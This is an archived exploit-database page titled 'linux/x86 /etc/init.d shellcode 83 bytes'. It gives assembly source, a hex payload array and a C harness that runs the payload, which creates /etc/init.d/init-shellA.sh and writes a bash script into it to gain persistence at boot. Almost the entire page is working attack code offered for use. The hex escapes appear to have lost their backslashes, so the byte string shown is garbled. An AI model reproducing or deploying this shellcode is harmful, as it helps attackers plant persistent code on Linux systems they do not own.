Home / os / win7

linux/x86 /etc/init.d shellcode 83 bytes

Posted on 21 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 /etc/init.d shellcode 83 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================
linux/x86 /etc/init.d shellcode 83 bytes
========================================


# Exploit Title: /etc/init.d shellcode 83 bytes
# Author: nex
# Software Link: N/A
# Version: N/A
# Category: shellcode
# Tested on: Linux/x86 2.6.27-9-generic

/* copy in /etc/init.d shellcode */
/* 83 bytes lenght */

/*
.text
	.globl _start
_start:
	xor	%eax,%eax
	xor	%ebx,%ebx

	push	$0x4168732E
	push	$0x4168732D
	push	$0x74696E69
	push	$0x2F642E74
	push	$0x696E692F
	push	$0x6374652F

	movl	%esp, %ebx
	movb	%al,23(%ebx)

	movb	$0x5,%al
	movb	$( 0x40 | 0x1 ), %cl

	movl	$0x41414141,%edx
	xorl	$0x414140bc,%edx

#	movl $0x1fd, %edx

# open( &quot;/etc/init.d/init-shellA.sh&quot;, O_WRONLY | O_CREAT, 0775 );
	int	$0x80

	jmp	shellcode

write:
	pop	%ecx

	movl %eax,%ebx

	xor	%eax,%eax
	movb	$0x4,%al
	xor	%edx,%edx
	movb $0x13, %dl

# write( initd, shellcode, size_of_shellcode )
	int	$0x80

# _exit( 0 );
	xor	%eax,%eax
	xorb	%bl,%bl
	inc	%eax

	int	$0x80
	
shellcode:
	call write
	.ascii &quot;#!/bin/bash
echo we&quot;
*/

char payload[] = &quot;x31xc0x31xdbx68x2ex73x68&quot;
		 &quot;x41x68x2dx73x68x41x68x69&quot;
		 &quot;x6ex69x74x68x74x2ex64x2f&quot;
		 &quot;x68x2fx69x6ex69x68x2fx65&quot;
		 &quot;x74x63x89xe3x88x43x17xb0&quot;
		 &quot;x05xb1x41xbax41x41x41x41&quot;
		 &quot;x81xf2xbcx40x41x41xcdx80&quot;
		 &quot;xebx14x59x89xc3x31xc0xb0&quot;
		 &quot;x04x31xd2xb2x13xcdx80x31&quot;
		 &quot;xc0x30xdbx40xcdx80xe8xe7&quot;
		 &quot;xffxffxff&quot;
		 &quot;#!/bin/bash
echo we&quot;;

int
main()
{
	((void(*)())payload)();

	return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-21]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :